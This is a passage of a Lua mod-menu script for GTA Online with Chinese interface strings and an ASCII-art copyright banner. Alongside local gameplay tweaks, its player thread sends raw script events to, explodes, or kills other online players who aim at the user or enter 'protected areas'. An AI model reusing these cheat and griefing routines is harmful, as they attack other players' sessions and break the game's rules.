    if PED.IS_PED_SHOOTING(players.user_ped()) and PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false) then
    if curwep == util.joaat("weapon_pistol") or curwep == util.joaat("weapon_pistol_mk2") then
    local raycast_coord = raycast_gameplay_cam_gun(-1, 10000.0)
    if raycast_coord[1] == 1 then
    local lastdist = nil
    TASK.TASK_SKY_DIVE(players.user_ped())
    while true do
    if PAD.IS_CONTROL_JUST_PRESSED(45, 45) then 
    break
    end
    if raycast_coord[4] ~= 0 and ENTITY.GET_ENTITY_TYPE(raycast_coord[4]) >= 1 and ENTITY.GET_ENTITY_TYPE(raycast_coord[4]) < 3 then
    ggc1 = ENTITY.GET_ENTITY_COORDS(raycast_coord[4], true)
    else
    ggc1 = raycast_coord[2]
    end
    local c2 = players.get_position(players.user())
    local dist = MISC.GET_DISTANCE_BETWEEN_COORDS(ggc1['x'], ggc1['y'], ggc1['z'], c2['x'], c2['y'], c2['z'], true)
    if not lastdist or dist < lastdist then 
    lastdist = dist
    else
    break
    end
    if ENTITY.IS_ENTITY_DEAD(players.user_ped()) then
    break
    end
    if dist >= 10 then
    local dir = {}
    dir['x'] = (ggc1['x'] - c2['x']) * dist
    dir['y'] = (ggc1['y'] - c2['y']) * dist
    dir['z'] = (ggc1['z'] - c2['z']) * dist
    ENTITY.SET_ENTITY_VELOCITY(players.user_ped(), dir['x'], dir['y'], dir['z'])
    else
    local t = ENTITY.GET_ENTITY_TYPE(raycast_coord[4])
    if t == 2 then
    set_player_into_suitable_seat(raycast_coord[4])
    elseif t == 1 then
    local v = PED.GET_VEHICLE_PED_IS_IN(t, false)
    if v ~= 0 then
    set_player_into_suitable_seat(v)
    end
    end
    break
    end
    wait()
    end
    end
    end
    end
    end


    if paintball then
    local ent = get_aim_info()['ent']
    request_control_of_entity(ent)
    if PED.IS_PED_SHOOTING(players.user_ped()) then
    if ENTITY.IS_ENTITY_A_VEHICLE(ent) then
    rand = {}
    rand['r'] = math.random(100,255)
    rand['g'] = math.random(100,255)
    rand['b'] = math.random(100,255)
    VEHICLE.SET_VEHICLE_CUSTOM_PRIMARY_COLOUR(ent, rand['r'], rand['g'], rand['b'])
    VEHICLE.SET_VEHICLE_CUSTOM_SECONDARY_COLOUR(ent, rand['r'], rand['g'], rand['b'])
    end
    end
    end

    if driveonair then
    if player_cur_car ~= 0 then
    local pos = ENTITY.GET_ENTITY_COORDS(player_cur_car, true)
    local boxpos = ENTITY.GET_ENTITY_COORDS(dow_block, true)
    if MISC.GET_DISTANCE_BETWEEN_COORDS(pos['x'], pos['y'], pos['z'], boxpos['x'], boxpos['y'], boxpos['z'], true) >= 5 then
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(dow_block, pos['x'], pos['y'], doa_ht, false, false, false)
    ENTITY.SET_ENTITY_HEADING(dow_block, ENTITY.GET_ENTITY_HEADING(player_cur_car))
    end
    if PAD.IS_CONTROL_PRESSED(22, 22) then
    doa_ht = doa_ht + 0.1
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(dow_block, pos['x'], pos['y'], doa_ht, false, false, false)
    end
    if PAD.IS_CONTROL_PRESSED(36, 36) then
    doa_ht = doa_ht - 0.1
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(dow_block, pos['x'], pos['y'], doa_ht, false, false, false)
    end
    end
    end

    if tesla_ped ~= 0 then
    lastcar = PLAYER.GET_PLAYERS_LAST_VEHICLE()
    p_coords = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(), true)
    t_coords = ENTITY.GET_ENTITY_COORDS(lastcar, true)
   dist = MISC.GET_DISTANCE_BETWEEN_COORDS(p_coords['x'], p_coords['y'], p_coords['z'], t_coords['x'], t_coords['y'], t_coords['z'], false)
    if lastcar == 0 or ENTITY.GET_ENTITY_HEALTH(lastcar) == 0 or dist <= 5 then
    entities.delete_by_handle(tesla_ped)
    VEHICLE.BRING_VEHICLE_TO_HALT(lastcar, 5.0, 2, true)
    VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_ALL_PLAYERS(lastcar, false)
    VEHICLE.START_VEHICLE_HORN(lastcar, 1000, util.joaat("NORMAL"), false)
    tesla_ped = 0
    util.remove_blip(tesla_blip)
    end
    end
    GuidedMissile.mainLoop()
    UFO.mainLoop()
    bodyguardMenu:onTick()
    wait()
end

players_thread = util.create_thread(function (thr)
while true do
if player_uses > 0 then
if show_updates then
notify("玩家名单正在更新")
end
all_players = players.list(true, true, true)
for k,pid in pairs(all_players) do
if anti_aim then 
local c1 = players.get_position(pid)
local c2 =  players.get_position(players.user())
local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
if PED.IS_PED_FACING_PED(ped, players.user_ped(), anti_aim_angle) 
and ENTITY.HAS_ENTITY_CLEAR_LOS_TO_ENTITY(ped, players.user_ped(), 17)
and MISC.GET_DISTANCE_BETWEEN_COORDS(c1.x, c1.y, c1.z, c2.x, c2.y, c2.z) < 1000 
and WEAPON.GET_SELECTED_PED_WEAPON(ped) ~= -1569615261 
and PED.GET_PED_CONFIG_FLAG(ped, 78, true) then
pluto_switch anti_aim_type do 
case 1: 
util.trigger_script_event(1 << pid, {-1388926377, 4, -1762807505, 0})
break
case 2: 
local coords = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), 0.0, 0.0, 2.8)
FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], 70, 100.0, false, true, 0.0)
break
case 3:
menu.trigger_commands("kill " .. players.get_name(pid))
break
end
if anti_aim_notify then
 notify(players.get_name(pid) .. translations.is_aiming_at_you)
end
end
end
if bigbarrelqq then
if (HUD.HUD_GET_WEAPON_WHEEL_CURRENTLY_HIGHLIGHTED(plyped()) ~= -1810795771) then
WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1810795771,15,true,true)
end
end
if protected_areas_on then
for k,v in pairs(protected_areas) do
local c = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), false)
local dist = MISC.GET_DISTANCE_BETWEEN_COORDS(c.x, c.y, c.z, v.x, v.y, v.z, true)
if dist < v.radius then
local hdl = pid_to_handle(pid)
local rid = players.get_rockstar_id(pid)
kill_this_guy = true
if protected_area_allow_friends then
if NETWORK.NETWORK_IS_FRIEND(hdl) then
kill_this_guy = false
end
end
if protected_area_kill_armed then
kill_this_guy = false
if WEAPON.GET_SELECTED_PED_WEAPON(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)) ~= -1569615261 then
kill_this_guy = true
end
end
if kill_this_guy then
MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(c.x, c.y, c.z, c.x, c.y, c.z+0.1, 300.0, true, 100416529, players.user_ped(), true, false, 100.0)
end
end
end
end
end
end
wait()
end
end)

util.on_stop(function()
    if ENTITY.DOES_ENTITY_EXIST(selfSpeechPed.entity) then
        entities.delete(selfSpeechPed.entity)
    end
    ANIMATIONS = {}
    if animLoaded then
        util.toast("警告:卸载动画浏览列表，将会卡顿.")
        destroy_animations_data()
    end
    delete_anim_props()
    local my_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user())
    if not PED.IS_PED_IN_ANY_VEHICLE(my_ped) then
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(my_ped)
    end
end)

while true do
    if selfSpeechPed.entity > 0 and os.millis() - selfSpeechPed.lastUsed > 20 then
        if ENTITY.DOES_ENTITY_EXIST(selfSpeechPed.entity) then
            entities.delete(selfSpeechPed.entity)
        end
        selfSpeechPed.entity = 0
    end
	wait()
end

while true do
    if NETWORK.NETWORK_IS_IN_SESSION() == false then
        while NETWORK.NETWORK_IS_IN_SESSION() == false or util.is_session_transition_active() do
            wait(1000)
        end
        wait(1000)
		spawnpos = players.get_position(players.user())
        repeat
            local pos = players.get_position(players.user())
            wait(500)
        until spawnpos.x ~= pos.x and spawnpos.y ~= pos.y
        if do_autoload then
            load_loadout:trigger()
        else
            regen_menu()
        end
    end
    wait(100)
end

util.on_stop(function()
    if UFO.exists() then
        UFO.destroy()
	end
    if GuidedMissile.exists() then
        GuidedMissile.destroy()
	end
end)   

--[[
 _________     _________    ________     ________     ________     _________     _________    ________     ________     ________      _________     _________    ________     ________     ________ 
|\   ____ \   |\___  ___\  |\   __  \   |\   __  \   |\   __  \   |\   ____ \   |\___  ___\  |\   __  \   |\   __  \   |\   __  \    |\   ____ \   |\___  ___\  |\   __  \   |\   __  \   |\   __  \
\ \  \___| \  \|___\  \_/  \ \  \|\ /_  \ \  \|\ /_  \ \  \|\ /_  \ \  \___| \  \|___\  \_/  \ \  \|\ /_  \ \  \|\ /_  \ \  \|\ /_   \ \  \___| \  \|___\  \_/  \ \  \|\ /_  \ \  \|\ /_  \ \  \|\ /_
 \ \  \ __  \     \ \  \    \ \   __  \  \ \   __  \  \ \   __  \  \ \  \ __  \     \ \  \    \ \   __  \  \ \   __  \  \ \   __  \   \ \  \ __  \     \ \  \    \ \   __  \  \ \   __  \  \ \   __  \ 
  \ \  \|\ \ \     \ \  \    \ \  \|\  \  \ \  \|\  \  \ \  \|\  \  \ \  \|\ \ \     \ \  \    \ \  \|\  \  \ \  \|\  \  \ \  \|\  \   \ \  \|\ \ \     \ \  \    \ \  \|\  \  \ \  \|\  \  \ \  \|\  \
   \ \________\     \ \__\    \ \_______\  \ \_______\  \ \_______\  \ \________\     \ \__\    \ \_______\  \ \_______\  \ \_______\   \ \________\     \ \__\    \ \_______\  \ \_______\  \ \_______\
    \|________|      \|__|     \|_______|   \|_______|   \|_______|   \|________|      \|__|     \|_______|   \|_______|   \|_______|    \|________|      \|__|     \|_______|   \|_______|   \|_______|
                                                                                                                                                                                                                              
 _________  ________  ________  ________   ________  ___       ________  _________  _______   ________          ________ ________  ________  _____ ______              _________      _________ 
|\___   ___\\   __  \|\   __  \|\   ___  \|\   ____\|\  \     |\   __  \|\___   ___\\  ___ \ |\   ___ \        |\  _____\\   __  \|\   __  \|\   _ \  _   \           |\    _____\   |\___  ___\  
\|___ \  \_\ \  \|\  \ \  \|\  \ \  \\ \  \ \  \___|\ \  \    \ \  \|\  \|___ \  \_\ \   __/|\ \  \_|\ \       \ \  \__/\ \  \|\  \ \  \|\  \ \  \\\__\ \  \           \ \  \___| \  \|___\  \_/  
     \ \  \ \ \   _  _\ \   __  \ \  \\ \  \ \_____  \ \  \    \ \   __  \   \ \  \ \ \  \_|/_\ \  \ \\ \       \ \   __\\ \   _  _\ \  \\\  \ \  \\|__| \  \           \ \  \ __  \     \ \  \    
      \ \  \ \ \  \\  \\ \  \ \  \ \  \\ \  \|____|\  \ \  \____\ \  \ \  \   \ \  \ \ \  \_|\ \ \  \_\\ \       \ \  \_| \ \  \\  \\ \  \\\  \ \  \    \ \  \           \ \  \|\ \ \     \ \  \    
       \ \__\ \ \__\\ _\\ \__\ \__\ \__\\ \__\____\_\  \ \_______\ \__\ \__\   \ \__\ \ \_______\ \_______\       \ \__\   \ \__\\ _\\ \_______\ \__\    \ \__\           \ \________\     \ \__\    
        \|__|  \|__|\|__|\|__|\|__|\|__| \|__|\_________\|_______|\|__|\|__|    \|__|  \|_______|\|_______|        \|__|    \|__|\|__|\|_______|\|__|     \|__|            \|________|      \|__|  

GRANDTOURINGVIP™ Copyright© 2023 
Developing by GT & Respect
All rights reserved.
    ⠄⠄⠄⣰⣿⠄⠄⠄⠄⠄⢠⠄⠄⢀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⢰⣿⠿⠄⡀⠄⠄⠄⠘⣷⡀⠄⠢⣄⠄⠄⠄⠄⠄⠄⠄⣠⠖⠁⠄⠄⠄⠄
    ⠄⣤⢸⣿⣿⣆⠣⠄⠄⠄⠄⠸⣿⣦⡀⠙⢶⣦⣄⡀⠄⡠⠞⠁⢀⡴⠄⠄⠄⠄
    ⢰⣿⣎⣿⣿⣿⣦⣀⠄⠄⠄⠄⠹⣿⣿⣦⢄⡙⠻⠿⠷⠶⠤⢐⣋⣀⠄⠄⠄⠄
    ⢸⣿⠛⠛⠻⠿⢿⣿⣧⢤⣤⣄⣠⡘⣿⣿⣿⡟⠿⠛⠂⠈⠉⠛⢿⣿⠄⠄⠄⠄
    ⠄⡇⢰⣿⣇⡀⠄⠄⣝⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⡄⠄⠈⠄⣷⢠⡆⠄⠄⠄⠄
    ⢹⣿⣼⣿⣯⢁⣤⣄⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⣴⠶⣲⣵⠟⠄⠄⠄⠄⠄
    ⠄⢿⣿⣿⣿⣷⣮⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣾⣟⣡⡴⠄⠄⠄⠄⠄
    ⠄⠰⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⡀⠄⠄⠄⠄
    ⠄⠄⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣭⣶⡞⠄⠄⠄⠄⠄
    ⠄⠄⠐⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠈⠻⣿⣿⣿⣿⣿⣿⣯⣿⣯⣿⣾⣿⣿⣿⣿⣿⡿⠋⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⠄⠄⠙⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣵⠄⠄⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⠄⠄⠄⢀⣿⣯⣟⣿⣿⣿⡿⣟⣯⣷⣿⣿⡏⣤⠄⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⠄⠄⠄⣞⢸⣿⣿⣿⣾⣷⣿⣿⣿⣿⣿⣿⣇⣿⡆⠄⠄⠄⠄⠄⠄⠄]]